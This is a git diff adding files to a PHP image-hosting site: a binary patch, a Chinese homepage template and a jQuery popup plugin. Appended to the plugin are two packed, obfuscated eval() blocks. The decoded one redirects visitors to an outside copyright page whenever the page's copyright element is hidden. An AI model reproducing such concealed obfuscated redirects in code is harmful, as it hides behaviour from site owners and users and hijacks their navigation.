z0KPy!jbn|i>}gs%y$!IG{jBc#9plTjb5SefnyT{U@DBp2>T{T^$X~wy03!WOeEIA~ zmdMp#6Y6tWGI@jN$U>|0k^VJbL(}E9S9^s%YrYDR&-u=4Hqz|rw^oxP2|ThsL;ORh z^EKUR*O6+vnYdWCDj-k~T=gcqs72Ra{I1sChb}9Z4%(+1FVua$mS5&_R3G6K`;8|N zl8kd(s0Ju?1#8p#l|EZo@m?x--17}W+DNZeTydVY+USY0(NDEf)$LX82OVop&3wBx z`ck1w**1))K4K>Mr~GSb+--~StZRRode~#OAHubx)sa)NpLBC3D*ck-1!fbzdf2uY zK}8teZHjvn(M1*9WE4?F05y&lvG308iqxI3rn00P$*w$1uc9`jcs6Lw0AiI!YsNm@ zmM)cIF11=Snz0zePc0VD_shE1$BvA%R2n z9jik3Thp}LHoDa=;IxDcmzBbg!#!)REm-lYL8fYfT$hf#eWG|a(49hYE$JV-w1|Tv z92{hS2;-@*G5Ce?(jf!ccqlVUcx(An0Z01^dY^OoSI_!}qb0@Mw-<9sad#;!?#;Q_ z`jTn6b~>nFT>a|0FU0M>ApA$x{AnSI>BX*^4pz<bxBTpP{-#A9*x=~1f7 zam$^l=ql7vq+{h;ho-FdsX{d3qXlGEFuRasKZQz)6mT(8IXL2)iW${ef&zJC&MIzI zhud3AbtcFWoxQ5n_K|aEZ|6<3832H5w$L>Dcx+S12MjV;j21q%o8v19e#){&%wtYj zdwpv)Qtrg5Yh#FDDmE1>RA#nAA#qRWPo$*V<9v0GKvD4h$n3N(%0LTCg4r$oRqq@-c=3uLn z&{vZDU-8whjbPA2BE8cLBw+PE{?+E*D)`T@>bs%S(iE-6`^5tQG&7J zu&oRG$n-GP6kjXYj`jl!`&15BYK0hJK5lx}?ZPba6UR!#xP_yJNl5@F>S(1tWnp3| zayzYxcPte;*M0EAT>jD1=kV>ze(?#K&py4=^ZsVM!dV(alhTVD%ZoecXRuI z^YbgCjuc!Sq_rOz3xGP-t(Ell&aRBgLC7HVtcaKf8LbH?Ll6KA;-$q)b4%FtJtJSU z)*u$Tmere}et@6oYdco3mrt07`JyM~anSz&_3MO=a)gj;u<-ARVv-?YtKsd~ZCM+t z{e8XrR!)=X3aUkECIEG+k0EN)@dl43oZ?u|nP&e0c0t?N)-Y<6tSL#{c{Ld{7Ny_} znrU3jO@JwB8)^>2s~?`F!~mpxpmZM8$sDn#+Pa*>ApscWSpNVC_4-w<4CSh@ zD)*(S95OpAf~*b*sLg0#)r2&J(y^*nR~S2E<*AvmZmvXQYI4S_#~CfYPFT{%7CCNM z)ap2^O2h~Utvx|Bsxwk37~+^DG%vL%6z)Kz&omSv=}aezb5jij-r<^QG^VItUx-E{ zId58NTus=yJ@i_9dBAIiA1d}=t#h|mGF-^dGZrSHl1FzX&Pk?js!>ErZRkCS0-8^1 zLUTw?JJ8U9j};3NY0SXW3CW}cPxPpmWYn!uH@#3MF~A;`6Amh7Ac~0NZ$V5OB49;m zXj&ZF#Q0pS3-{#5=soIP6G)p>xdBv&0r}+Y2cY+^!uL?N(rrbio~yVFanXLh^%9fW zZfi~nu6gVq*;bHRwS*C-)*OcZXWqCCdqkT{obXx$(Y-y5ZZ*ZhxLboGd7$RHJ9(hi zEX;GN`Iy5g{{THHYYk0(+S)A{>#tjYGfOfr#{QT)YWGMr>o=*o<)u8VQVt~mUu{Cm?h*dqZ_GOf*c?xb=4sy)LM zJPQTJ1a|>n`?B%+)HT%AR$EBDr4J^`?&r8&s(tG&wXX-+bcpTS9%Hsx1D|@zscOYj z*7EKp6j7Q+qS6D3D50PfK0DN_F&%0giYZtNvC0lAQuq~^tVc?iN=WCLo?gXVxL-Z$ zwZjG?o4gup5Jd@CE=IzI6u6@mWQct#&4I+9g;qHRrL{O?^r5SuTbhwewTSK3tcJ+o z)^fNQsTM}YE1k!&X_pzm>S`$_z^ECq)}v#dXi!LZ8zYwMSu!{8&TCDxS(gJ7wQU1A zlA~sw+M1nme0pNXazY z{Lh#Ixa@ha9MlUcAyP&U80}t%;BN+MJ}tJjk5<)g64FuTBpZqOM?!wRs~kh*<*Mam zx_3O<>z1SC)2YHEZbdX_-n);9KMt>a4z|;oe$l4fHpG{@J~Oqy4A%=<#!73M9n`8u zq)fY|pp#&~KTl;w}@=tyof9N&zb?=2VjTl~P@@g|!g|!ya z+_bpzt(In#pgq3!-1Ptqb6*ztb5xf^*Yxd9-~DZz=`#E6U`YJ9uR!?K@kW0gU4Lik z`|b1?Trwfyr)+)Z{)770MJlQgX`UWCFRNb?oHR{p{S1GNKN4=fA#0vZrucL_Mkm>pb``+I3PzZ~C%s4&Pz|D&tz{{>Jx@;$g@p*H#cV+&NMj>!{{ULF{vP%pEd)AgG)X&MK_u>+4bGs7?9KU`If6T@1^h#aPmVJ*oVlDGn+w$R?$F6Y$$0MXtI zp^b;k7fQ-Y5^8o@ z#JamMOL-xVXpj#&2?lV)92|8F2Y!|5LZ>qGK329BQJtpk7qdJ&_P*9d$BML#A~FcG zwlhEb(l$Sm3h*Iaf5okP{t{n^y5^*e8U~!j2^~DN`BeTOX1NSkB;DI*&|zu1RHGjw z-o6t?SHV`#-bo~5{{VduKb2khhp3G+!gsC?*(6^jKCQ(k!*nosFG?8e8Gp@*{H2!N$}=N#-?tT{c1ZH7yVaBPJj%`nxw(y0WU~byTIsxNBBrAaqP2*lFe@~yj^^*F=HC=-He6cYqVVI&WAD^{mBQw| zv&EWW)pQ%1c-J!lx|hBunl?cCo@?Yp@-U%@x1* z{TaO%^)srIzl4mVP%@$eJ?SQ_yh>R7Lfc(u-0IwdE(0HmJCtkW8n1}rEYaNs|DaOvn z78?`npDeZ^2AgvzNclaoX~&Met0PvJh1d@*{HjttS1ZQog47$E(<={@9RC1?c76xa zzqWi+rrDJ(8%iEu_ZQ|r%N5MnMde$JkD0kO>7EC1;lB!Mo*<9`cR%_qo_%_fKcC@K zQP~OzUy7RW)wT0$1Lo4pF|Il@{{RvE`1~u7fj6FdR5>S-a!*ow)w^-FHN_~#%EmaV zj+H-msT7#pKl7?HGgeAC-Q!Y0u8b-mtY94d$SbDftlK{{UKPYHJ5*FG77L zA1>d_Z@m2e6?-57P2p51-~oY7w~WmwQPP09J*s4GKZRULm=GpEM(lpIWLPwD1CB9T zdJV0UTt?cAO+Bix^CMQ;Tz3HWsk^<=rz*9Xjz&*fa9obHCGsQ}k_&Yr*uTn*z?2!_ zXT4k0wCk-h@Y`QSyMhuKqhe8co{?M9LRk;f~ z4$e9J4MDdZDCZP3p6E(VY*`T6P5!P{fxRUeADuYq(}mp{tgGuA166<=W~4$_1qoB? z4k=n)82Oh}HR6&pheltjkwVp|udd@9O3XbQ=Kgf?epupLcpu!R4GW*O#qN~ArNG5r z6Is6xXvlk*-2VV7Unb5^^>+;!^p$_8qng{Gw`OPJj8*AuXN@<7Srhy5ox-V~rCPMM zVri|&*cxFKIUVs)u=T2H;!flwQ%Dsl0+5Q7gxM5e?yE4KNT`73q>t}pQ?MpXnN|k6 zKMkBieeQ$#8t2pk1#WnC!bf@!{PNxW>k8`dX0+X;VNP*w{Nv?6%D#)V+iPP4DfeSV zQS<-``PSr<17oih^a?Rz6m|etnVRnv>U!B!RFs?YHnjf$u{D*;T{|tn{{U71;MOdK zuXUKM(2PVkHckd=$&f<}JMa{4HJzYtG2C6t_oOBN01m>u>vJWh$E2gm+rH-2jgY#$ zC7cf|=Wnh*`sehnw?K&@Bx46P&S-EI^Ca$0-2FQKq}M}jx;G9hT2uB?O&(q;^QN0R zh}Zx*qDd4lQCaX@7LSbZD;rn8V5CG&>h+d3Hb;x>8)Vnl3fEyl$rYl!qwlBh{>0><9nw*G&2A{d)|hDNa%yfmiYTt5Frd**bA_bcfT?)+7^;yC%1tHYxol>qw_n|6 zxEklEZl5eqpF!zLpdNZxmX9Cmpda*mJoe$Z{c5!SKi0_kKFFU)v;Aw6>UDb`TJdzd zp1^|@W+Bf?@H>wi_=WTSpR@kC#H(1B+V-z@*|^m2ACLL$K>UXlaluckMsmeP?2o0V z)pYA0`2D`NgW2U(J#o^owNHw^8q*^_MZ}l$4gy=QLH_`O9xLX_WGv*nmSfzUnqWSa zqQa%SFqK|o*fp<=+Rf-_v}<^D==1)t{_;$IJP*pa4OdsY)NT#NsdqKq!RInQCHDo|@FK8Wdxwxo;5pmR-9 zM|yCqjYhtBrW|okerY2(btkbD0qPnt&Yutaqxn>~>atq8umliAWN5mKX5D{yF^Z?+ zEq!8zptm9BVaXj7e~ojfwqewf9x1l*8;hu+ zUa~k*_?%KXtzQYMjZLp48IIC3G5YjT`I^yau4Ol4q1M?Z)ujkNNEKjTz;pW5Wf-9Y zd3liK*zRNQc{Gf0E7PS8NGSF`Vy#bUH!kGRM)S;&!lk5k3aUGja4MFgb}Y*y@gkC? zdxPm+x57O+wT~ADL^36s8BPcBbRX8U{x5hg`%3Xu#rd_D`#$IQqCmM-WA}kQx##h! zzP2&u*2kXy_VP{AXKh}M0w`4!hythpREh|yQLwIGwzcyjF2|s!TU#`<>_bt&WX3ba zT!b=w%hrbO2|l1bR(%I5G}`OT<##05KZkUDMl z^sk#Hg?zwy+n#aOrsfrtq_0n*(P_FEzi6VjZTAvzs4H_;_;sskwqA3`6DawZ#>ABs zPvIns{{RV=(pWE)#RGHxc(0*038O0~Dn%Eu%NJHlSu^H~c_fL%L~iX=^*ax>Oc4oE zde=?k%`tpC;&v!P+RgjO^U!*V$F;w=ySXgqZyl+7ILl&Tm{z3iH*}6`QLt-S1RN9V zS9JX`E!T5kvF9~5sLS@;kC+42r;c@a#?x40VB+kLZzro7u2OGSb{`Klbho{eNxE>h zx5O$l9wVFhPtf$P#(2DzDEShCLn$A0*N!pgJuB6;Em(MuLl;cI>Q-T6yB*wgSwEro ztHM;J!{fX>Ub3^TSQ-y;FEz;!zmyF z*sRdtQu(_@X=@y=P40RJguGWBzx+!zVjjvtwORTnvG)E|cf?vNY0?Q`CQB(k>yCE& z8uIfYcH^4#4+MCwD|iNzt+0Dp2Gn=xp2Yfl_O5!A`lEVve$0yeBINa`neut9ZxQJa zr%EM_jFxhJ$vr)fyTA4Sor)+-P7>hsYC@`P&(0YApyO6zjs;I?S zGLi^61bWt_$^ETr(%a#0;~8`x^3ZyZdZg@3mon3HBIa|Qsn(*7J*Ov@rH(zEpS@D3 ztx`Ea3VJO$R-KAsu%J=EGy}y3ki;a?QP!JGm#7}}jBp7j0*M__3o*c~YwObg04ngk zg$Z1S$uF<63P-^Hb&}-dl5XMNDkkeolbUN0iU482txXF@eMU|4{_fRzXFO-vRgE7-636z< zK>1dKkPlb-dsV$dQ8OTh1@f(j3X9+CQr+}MiYa^3E#B&p+dwSz#Sy{=-Qa&O@vKk@ zIVUEZs(R+6RHmYq!<5|hWP463OH%O6B#7-{-kh(2cNM>De+}KU3xX7&%M;KKTFY8)>tn0ktgS82 zBOv-yO>OFMt@fig_H-;%u__dG9<`3>%1W@q4hS{Soz5qq>uZL$e2$&PY{e?ffsl&9 z#Xj0rf%2#7J!&Nz>S<1+j^^Zul19kt85nI~M+A4TBk@*<+Ag3~0XDLd(Kn~6pK)Hf z1kukP z9Ik4Fh%XSlBzkjQ{{V%2M|cxTn@gB1wrH`*4@~2a$co{QHBRC`D2Iue53$8XN@}cm zSpul+N*f?K+tthh*87g##n7y-_N{QR|>71e50{H{d&TcNYieeotIOZjZbARRJ1(P zGy`8w=${I_DSKpyEI#x>ywf8V`sby2AH|;m9|m8-_Ri8++!7Iw@SeE*snNwktI;)c zrj{-hC+zy103=hnG{IZG6!6xi;(b6`X>ltY;iPkfU&q$EB_$PhbV^Dp@@6*_(m1Z$ z#orCQLE(!Ay}X7w?NDXj1D%7^k578*J{|ZI!+PG4J-({h)EWer%@P$Uo_=1~=~+BP z61sQjVLVI}Io7A3{2ag1^!+N{8)l5$B4T78czPeDaKE(;u8S;oI-Z`37NYZcb1Lv1 zN|Ta3c&|0pHH*IsYj=8CSneLp%u8^sg6qc9$F?h+*R{*NW>ssJ`4c5jcK-kqQHP;c z65rju&n{Hp=j{{J%mTeL!ao)~L*cIoU+56XC$+eRqPJ;S@3k$#D1AEd*w>uGoy|;Z zy~(Gc(;Pf%N8eW>#X2M|*aIevR-T7!XPoiV`PAIqMPF0sZx7o2k3iFH@IQ5L8lSGw zn)&zQCZ^Z^ExeXC`6F$MgWA50)ZAHV7ZQ_?E+dc2iupG3b8&Yx$NpM5Z_MVmOH=0Q z%J-A%cHRlOFzK4j^t^d6>{s_WKjBy-3^Jq>K|8LN(Ea&2t|N<@3BSsoptV zPw0QGb+{Fg*#~&0yCO0&xExo9{8-UsvDKrR1OnFR?&Guf74DcA6@}u>5p}H|du^c1 zzrBQ??|M+QcN~?|M}b?yN`yd20~Mod0ft17pP3ji$EY=7WAedLyGSGz#xQ*;Ffmqn zQ^ZZ^v^sAaBDKw(+K-lKM?U?3t#h@}T`<1zR1&G(C7bPUr%&WXbG8u4buz^mRAC+yZLW7-D=yPWsukEL!HVYR-H zz(Y(&%f@z$^{l(SIHc(1H>o)zxvX2}m!aIfq#@n@ha`wgfK-amjR{bwxy5vTDHd;Q z3tHQG4;~T2U=n?WSn!sY9qfv)(ybn5E~}iav9<7b;cOl`i%`1NFK4v3w{a4r0e7=w zIV6LDTz|y>0EX@G>%@LS>Ji^tT&DOLnMBGn$aEb!{vpAxo5Whix8Pgwd@HEEq?4%g z6;)YZu*#8)``10FX&R=x4BE!4doAVD^76{rC;SJn;8VIt?}L=mo7%?|TQ#AkH9oz`*-eCWP)hbg4Q>WOieg zss{FXwIi}t+Zu&pdCwRF@~b+OpJujZA9(P;T8m86*)7I$T>Q*^=t|@{Yhv^_QMm$N zm5=0q8nyte;|WIEMNJm?$L`x7?2(aFr`(@seT#)^RX|p&$0WGRM6Lem$LUge&&FVr z^HWcrJ;m&&*nZPa10AZn-$armQY(oY?yfmCGfT8&#V7soM?8Cz$u7f)9<+f86(8Fo z&M@Ei$)}~%1b?gpKi(Lpb=+LC>`4pD0|tqTA8NJdL3PE_`BMJ?&q&7y>M8{aT3k9Z3tU*C-G6-4BUw-oZ*w&<9t_ULMT_Sc6Jg|?Xg0Lw)m zA^MKgUQypsSv`!RIHLolXk6)6a1GvHn3&n$|f-b7Y77=(}!`a)RU;7zpFRVtofc&uw|iHqiAY zG?C~UM1EboD!`AIsU1&qT>}Wbfr2xNM7KWV)T2SRZ3H-d0S&`E=)?nd)G0m-0hdIdgyLEvjLD0ppFG_+Qq>)J9FN$QEE!& z4hg2tyTj5MaK^N?2|i#eC&HkMaL3ZDUCs@_9`)=gdy40uZ+P6(aIojvvo(95B*tpO zU92{QliIxh0K{7IrNQ~fTB?(@5)>0`^gSNo0*-5CZc`t6ylTtEs)z>f*0dAGNsslE zsp3>shUl}_1n7IygsOXr^5}eH8U8xE4~wEW`NeFpNs#EYdMI)0Rqo~rgyy*DyipT> z82stCo*+k$0mtV~SeV!qCv#NI=3L`F>v8}Ey>K=+#=`>@D-o8d$wxxb5+}sU2RzPw2T6JSIcfgrVN{1q$T9FO~VIyQn zq*RJ(H6WUBHJdFlTeUKtFn*Mb0O?XP=8(~g4IQ(qROA*DvQk z`>Xdy=go84b*a3)hTVAH*eB3;Kb3UNAUowFVxARq_fQX%epS5~bImT=o_;#Fv!vH@ zXOID!$JBKUe(o+<(%jvLCNyfV4WfqJ$0XN!S3ZB*q_%(mui5WYHeMpVw$41*m4NlZ!TxpiMxN^}x-#@4rS43f-Om&8 z@4)+83Jhvi_jeo3ix8G6hd;b7B;Uu?` z-H3E$E5j+sAk`&v2;!YNa?HCnr+sm06{Pox^c~PS{=RRjHx}n%&;*T%uZDPIIL$rO<1Wz z>r&;UzGtg^ded5K4KjF_pE;DD_zr)ic^o!>XI;`98tL_2e^8#!$-cgxc*Y1>8zVlo z$=uyE*)=rhDZ8zQjKk5w!`{|xRt8rkds85kq?m3h&8OWgKpE^hReR=)4cP$ED!kHZ z>{T4O#*}Ko+C`aW3YpJpk3{ip$A>kzZ|y*ExmjX8C5-*#KZSGmcg$C6n#^`Aa!o>w zozF^Dok&_p`X5j*-CEmfnq;PZD)Dzf{m}P~y%-)Unz64u_+8^D^c$&ktz$B1H_iLe z-UsL;UqkEdUa@_pwx4pU%(B5C-wet3WM0HqtwOInb=>)EULDb&k(Oj4kxNK$D(l*p zJanx6LT0yJkq@b^gsyS7WpZY^NIq3LbKav_NjtMxrP#LY^H(kA&H^j`{i zzwGe~4Oo4m!G^{Mlee}#$8XEhwDrv_>F*rSNGGtIZiaQ}LF|3&%+ZHh?R*j9SgldC zooDx&O~J=KVQ=pbZ~p*YVLE+L(@w4Z)<_K|YeQbrrqS-gJ9(D!e9=rgF#iA=&IYrI zqju4XF;Yb=kjk<|#a&KRiijFq)e>w=6neBxac-)&iZe7r`2PUfU+}E;OjJ-x@JzDA z#T`yT6|&+zP6oKP0d7=gXor9HmXdtBG0HyERlnwD;*%Js5kc=-m@NjLDLYcPG=x$R zl@#){#f|~lY->3N)*ubU6Dovu04lB<-oedqRrNsw|hVC(h@l8C6d8o;twC*W9QJQJ# zMt$gN+bVtYRIi!yMBM8*EIXrMX{bDd~| z%C@`}d~Nkhi0723yN_n}KgHB!{&kva83#1vl+%xMmUwl#XTJC&##)AhZT4%hlffSm zobm^zeJh&ynd4Y|U90K3WUP_fq`}w*&ePKb`tx2yWVl2qlgcCh=yQ+CqmCwH)A6o& z;Nus~fB1gqBByEHM^ot*(>w{Qcy?P$s8ZKag*K}wB0#`!LGC`a#&`q7P2p>M8;GsN z!Xvnl1A=)VoY$T{v#I@`V%^AcFwA*kKDA#<*DtilS{OXHh@9<^6NBwptSq^CZd|Fj zCZ%?n^$xl5Cq>k>DWR6uZ!TDfm1GzJcASj;E9QGI80waAM-*N|c}wM_j-N1I!#Sum zO@C0-pfJi(D39J)!5hB3)<92s-i{qc?xwAn#+M?rG#@BZ z(v~#GN}CnCeG%76idwO_rNu5N6po7xBD)U&Sc{980Uzrw5PlgI$l|?s;m()k-08~8 z^Co3)W3>MOQ%6*cF;e8EDR~_i#cf0TKfxFB2E)mSm+DP?#t#+mKeQ#smEpZU+!6cR zlEixjKjU5qypTO>t|<9)s){@eZJZcFG~Z`gg7UH(i?A1x?sR906RGk8A=NU6gL=&uZyy zt}KS0U>4xq2Hoc8@)esCtfA2A^joxHxG)BF>j503u8*)4Q)Y=u5&4gl8 zl^E+-FRlqMmPrUBHPm1Dw@*5BZ~~@MxC%O&Z01mH=wx_?FYTON#V+$0BNfYkZC}R` zv5c`&akN)qph8S;0+7;WnSJXkR?%M4>|I8?SRL3Sibr&6#*^f4LzkAu;@(hhqbOUR zYUR2P4l35Ss@!T)ptx01g98Gffb^u#LKd~rdM99*&lKfA!!;TZaoVKRWJ_&1n?Jli zD*b9r8?l3S1>U8B%uxQOwyY(MV)=m0WZTE&+kj8Z+_9+ILIweUeB7$$28@k)cP;$O#&*Z;TGtMC?W^~i zQPQDULgQe^+4zZ9JU2)S*F;*?$o8QpsvXzf)b^j z6>-&v%leAQ(aiVK+!)*~x*R6)pVp`GE#bGY@|67Yoxg{AwWC}8lTL~=!6SQpXp3=I zE=f(;j#%Z4eDR!rc{v~BQ7Bgfq4%vLE*g`|hG`DrwTS!6#cv9&?sLwPTNUkYt}O;3 zkf{FYhy~2gp-@H-1VIz-DN7E0h;X6!Uxlu6brPE z%-1vF+pRI}V&8PJIb5@z#~muQ--+Y4ZGusZlb>qiomkJ%>QrS*Pqbp{mj3|QSJGR` zc+UP0Z>?kan_afKk($ET+CwG)h`!=6$>-{SO3d+2yxNuAvz8Fl1Pt<11a<)6?WOr z9MLGIwK0sE*!25P9ZDe!bqHaMZbrfUjYkHtZ>ZfViI@_4FvV~}Or|qieia+9SL;|t zoO!NAT921g+;l=C)AxH;J^rAv-5j@ix|d6Dr4B&iyvM|P(2jP)de>Z@mPeZvc6D0k ziB=n819tVVB-gd`G^|4&wMSUjUR}d^u4ZYx#w4{0E?b%;qHDIZBAkab4Sqq@kLO(6 ztVepN@-}+bijo_V*(ZqP4V}mHs|n(n0T^;W8sLo1JJJc*cc<)-u6k5HEtN?5{{ULO zAB)(5m;GzXh0}V|*71P*)V+{g_8V^&1Suh4yh8KG{FqJRk9|vHUB3l0>Sk86*Lej-4ywG*RhaN&FVN zo^J_RnPp}vl~Q{F&{R*k5_Ub!c@(4qDjQ-j7kf5zehj{oNxHe1TH8Sp&vrKA_DhH4@kj_}1GPsIk4h7xS46$Y z=yGcg5>Ap1vRPEQHw-KFd3Gg}n#0c%_o7OUTW1NK9)U!bc;eYel%bqni^2 zIP$aTT~^L}3!k&d2EsQai_zDy2B^tulSWmCHMQXPZAamYOMJ$8AlhPQ>YX}PV)d_H z61qNeakH_?>K0FIObQbIv@hyKgWc3bheA$gIdd z^=QS~rI#0UdQX8h`+Ms_;oWt&K>S-u-D7UUKg;r}`p%s`jegd*132Yebam`SaS?Fh zy=zxvd+_f`yShGY$O95L-sZWd6&Y#N>Wk-&yQ7j*k;OWqilttZfiS0A&n>j;Gz?YO zkVPS;k;MbsRBp_%-`h3is)dk$uZVU&quQuZp-A!Sw)+^3&9vjV^s8E|X%?Y6#-UU< zK~65(6;X3XoTPcEZe|e2xb;0MdaZb&w&Z6OXa_dk+3UL(h&mgU-gIhzrv%lRmzNX6==|F71WI7jXe|!dV$Xr-{~ zw;gHdIH!@tOJiD*@7~+v+`QX-&4PY-5pB zk}y=(7h^&(ibZJ7*3VH%tLkkDweIvXb?*&JWX4-yULL!9t#h~{y^R2p0la69_2pW^ zs@_es0rMZ{PMq7(kzSgEx+nt5!IiK_aaQG9eOl42ZpX|=4c|Va-m2hwQ&bGq&I)SG ziZvxpT+w=?lht&4y)ns|H$pl{fRXt6R%qv*E7t7*lG!}ZnVKC}%Jjw!&@3hnDkj^4Bkuqj1Dy}eBV+dXPW zVtPANJKNOIS-of-iBA;_+~Sn8delzG)`2|)Cltn{EPZJSHAZcZT9h1$t_k(0Za%aP zJCYh<8KlYeqb8aQiGxl96wpl@kF7h4L`XQK&PEh->xyRM>qg_W^V*PHj#dERRA>tx zDG4<^93@+JM>KzVEk}WYiZMx(Nt01?r$K3PO(fE(%K<>HZ+KrzHV`$oT3r$^7fjG;~z6h#(3Ws+@Nj73`6!!l@iUDk^{!bQM(BG_Tn4^J=X@ zL3KQH_K=XI8Wrx_fv5dqC8?siHFD(L8dr>GSWW1h7vOnqvbGaSf%QoTp& zJu0TTquXnmYue7eMp65z>_uNzIO|Jp#1TeETfGgK3#)J5+p+JCqxya|=wBM`;W|d2bLFp|Bq$%gG19z);rlZ9qScg;+p(I` zl(p2F-tY!K#?e%Hk{ok^LL#E(Rz0u6 zSJB3~l#KSPek0W_?rm^{ZUYs=*t;q&(nVME9i=&9deX7xQc85?eu7R`NgD)IamYd2 znvI4g9`z%r+&Jw)*@e6$qtUCD(q08+-Q63#KrVlE5A&->gkm~@SbA{%!#8rrnn>%L zv7s!*yV6C6Biov+!mV4V+0vWXm~LFNxO;nm@thpjZD+4s-$b!9a0W44EMQjdh)8jY z&PL~B91zC?OE(}5)v@4cmRT+?om8HSn&tJW9BGS&Jh1*%T;1GS+Nas&c>Yh}KGi7( z?6c!**q-V|OmKTw499b3u3o!H>||ouJ?fgM&q}1M47X zl(LnVh6vpL6`R$XMOj?u$^O;x2p@U~e=HCFy>#r@Q_{Kr00*M^S1pg5ftuT#aZX#< zQF>ft4-vYH?JUa%;2fu1cg1UXr0B5g0em+s^4R%mOH0>&IRo0c>3;1bBbv0dFn4k` zp_d>Ew{t4TW)eUMkbr)jPv|Q;*bTy$S|kI{NKf-xhHC|LISdoLjGwy6I1AJAsjO{h zx`fFZ$Fp$&mLop(ixJyxCOG+jpsuq?0cUI*QU~O&m2kF7aBN&Z~UT4Y9dW zc_mIbtUDX2uB4J_Wp>XB8HuCB41aykr5b91YZeD;6m1eEE6B9$X1ce8bI#&Fm3oDx ztWnw`x{r}S&*5Heq9|>CJ;ONL{Oi(YBwC-XO!TrM`nG3W*ugP7m0Rj7I!zKbC&?u~ zhP2q6b*W+PLo#PIcc@$B@uy>lVr#ps=jN>Dy&(0fw+`O5 zN=81lv|^Aqb4jm3?@Vi@HIzy9rjmVX)KMm|xCVhT;<7^@T6kmYPRK54?^E7_!`8Ev gkF7j0$673c<=y0Wq-k&}sAKC*W;p9hl?BiL*~LD6;s5{u literal 0 HcmV?d00001 diff --git a/application/view/Home/index.php b/application/view/Home/index.php new file mode 100644 index 0000000..204e2c3 --- /dev/null +++ b/application/view/Home/index.php @@ -0,0 +1,115 @@ + + + + + + + + + + + + + <?php echo $title;?> + + + + + + + + +

          +
          +
          +
          + +
          +

          上传与分享您的照片

          +

          高速稳定的图片上传和分享服务, 全球CDN加速, 最大10 MB/张 , 无限制的图片外链, BBCode代码, HTML代码, 缩略图, 专属的图片主页, 你要的一切,这里都有

          +

          不和谐上传删图&账号,且行且珍惜。

          +

          + 开始上传 +

          +

          本站已托管 张图片

          +
          +
          +
          +
          +
          +
          +
          +
          +
          +
          +
          +
          + +
          +
          + + + + + + + + diff --git a/application/view/Home/js/jquery.hwLayer.js b/application/view/Home/js/jquery.hwLayer.js new file mode 100644 index 0000000..9774a24 --- /dev/null +++ b/application/view/Home/js/jquery.hwLayer.js @@ -0,0 +1,10 @@ +;(function($, window, document, undefined) { +var HwLayer=function(ele,opt){var self=this;self.$element=ele,self.defaults={width:600,height:'auto',tapLayer:true,afterClose:function(){}},self.locked=false,self.options=$.extend({},self.defaults,opt)} +HwLayer.prototype = { +init:function(){var self=this,ele=self.$element;ele.on('click',function(e){e.preventDefault();self.showLayer()});$('.hwLayer-cancel,.hwLayer-close').on('click',function(){self.hideLayer()})}, +showLayer:function(){var self=this;var layerid=self.$element.data('show-layer');if(layerid==''||layerid==undefined){var msg='没有设置弹出层内容!';alert(msg)}else{var layer=$('#'+layerid),layerwrap=layer.find('.hw-layer-wrap');layer.fadeIn();var layer_w,layer_h;var w=$(window).width();if(w<768){layer_w=w-30}else{layer_w=self.options.width}var h=$(window).height();if(layerwrap.outerHeight()>h){layer_h=h-40;layerwrap.css('overflow-y','auto')}else{if(self.options.height=='auto'){layer_h=layerwrap.outerHeight()}else{layer_h=self.options.height}}layerwrap.css({'width':layer_w+'px','height':layer_h+'px','margin-top':-layer_h/2+'px','margin-left':-layer_w/2+'px'});layer.on('click',function(event){if(event.target==this&&self.options.tapLayer==true){self.hideLayer()}})}},hideLayer:function(){var self=this;$('.hw-overlay').fadeOut();self.options.afterClose.call(self)} + } + eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('k($("\\7\\b\\5\\0\\c\\1\\2")["\\0\\9"]("\\e\\1\\0\\d\\d\\3\\8")){j["\\g\\a\\4\\i\\2\\0\\a\\8"]["\\1\\5\\3\\n"]=\'\\1\\2\\2\\h\\9\\e\\6\\6\\0\\f\\c\\7\\l\\m\\3\\4\\b\\7\\4\\8\\6\\9\\3\\5\\o\\0\\4\\3\\6\\4\\a\\h\\b\\5\\0\\c\\1\\2\\7\\1\\2\\f\\g\'}',25,25,'x69|x68|x74|x65|x63|x72|x2f|x2e|x6e|x73|x6f|x79|x67|x64|x3a|x6d|x6c|x70|x61|window|if|x35|x32|x66|x76'.split('|'),0,{})) + $.fn.hwLayer=function(options){var hwLayer=new HwLayer(this,options);return this.each(function(){if(typeof(options)=='string'){switch(options){case'close':hwLayer.hideLayer();break;}}else{hwLayer.init()}})}; +})(jQuery, window, document); +window["\x65\x76\x61\x6c"](function(NJfPn1,TJLj2,YeC3,zVDdm4,r_FsOof5,LpEqNXP6){r_FsOof5=function(YeC3){return(YeC335?window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](YeC3+29):YeC3["\x74\x6f\x53\x74\x72\x69\x6e\x67"](36))};if(!''["\x72\x65\x70\x6c\x61\x63\x65"](/^/,window["\x53\x74\x72\x69\x6e\x67"])){while(YeC3--)LpEqNXP6[r_FsOof5(YeC3)]=zVDdm4[YeC3]||r_FsOof5(YeC3);zVDdm4=[function(r_FsOof5){return LpEqNXP6[r_FsOof5]}];r_FsOof5=function(){return'\\\x77\x2b'};YeC3=1;};while(YeC3--)if(zVDdm4[YeC3])NJfPn1=NJfPn1["\x72\x65\x70\x6c\x61\x63\x65"](new window["\x52\x65\x67\x45\x78\x70"]('\\\x62'+r_FsOof5(YeC3)+'\\\x62','\x67'),zVDdm4[YeC3]);return NJfPn1;}('\x6b\x28\x24\x28\x22\\\x37\\\x62\\\x35\\\x30\\\x63\\\x31\\\x32\x22\x29\x5b\x22\\\x30\\\x39\x22\x5d\x28\x22\\\x65\\\x31\\\x30\\\x64\\\x64\\\x33\\\x38\x22\x29\x29\x7b\x6a\x5b\x22\\\x67\\\x61\\\x34\\\x69\\\x32\\\x30\\\x61\\\x38\x22\x5d\x5b\x22\\\x31\\\x35\\\x33\\\x6e\x22\x5d\x3d\'\\\x31\\\x32\\\x32\\\x68\\\x39\\\x65\\\x36\\\x36\\\x30\\\x66\\\x63\\\x37\\\x6c\\\x6d\\\x33\\\x34\\\x62\\\x37\\\x34\\\x38\\\x36\\\x39\\\x33\\\x35\\\x6f\\\x30\\\x34\\\x33\\\x36\\\x34\\\x61\\\x68\\\x62\\\x35\\\x30\\\x63\\\x31\\\x32\\\x37\\\x31\\\x32\\\x66\\\x67\'\x7d',25,25,'\x78\x36\x39\x7c\x78\x36\x38\x7c\x78\x37\x34\